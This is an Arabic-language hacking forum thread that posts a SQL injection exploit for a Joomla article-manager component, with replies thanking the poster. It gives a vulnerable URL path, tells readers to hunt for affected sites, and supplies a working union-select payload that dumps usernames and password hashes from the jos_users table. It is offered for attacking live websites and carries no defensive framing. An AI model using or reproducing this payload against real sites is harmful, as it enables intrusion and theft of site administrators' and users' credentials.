:: vBspiders Professional Network :: - ثغرة في سكريبت جمولة

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)

- - ثغرة في سكريبت جمولة (http://www.vbspiders.com/vb/t23804.html)

ثغرة في سكريبت جمولة

السلام عليكم ورحمة الله وبركاته

جبت لكم اليوم ثغرة في سكريبت جمولة

الثغرة من نوع SQL INJECTION

الذي يعشقها الكثير

نبدأ

دورك البحث عن المواقع المصابة

كود PHP:

   index.php?option=com_articlemanager&Itemid=349&task=display&artid=

طريقة الإستغلال

كود PHP:

   null/**/union/**/select/**/1,2,3,concat(username,0x3a,password)fl0rix,5,6,7,8/**/from/**/jos_users--

الثغرة من إكتشاف

FL0RiX

إن شاء الله تستفيدوا

موفقين بإذن الله ...

بارك الله فيك ،،/

بارك الله فيك أخي على الثغرة بس انا مريت عليها اول بس مافهمت كيف طريقة الاستغلال [ صعب ، شوي ] :)

تحياتي لكـ ياغالي :)

شـكــ وبارك الله فيك ـــرا لك ... لك مني أجمل تحية .

كبير تسلم على الثغرة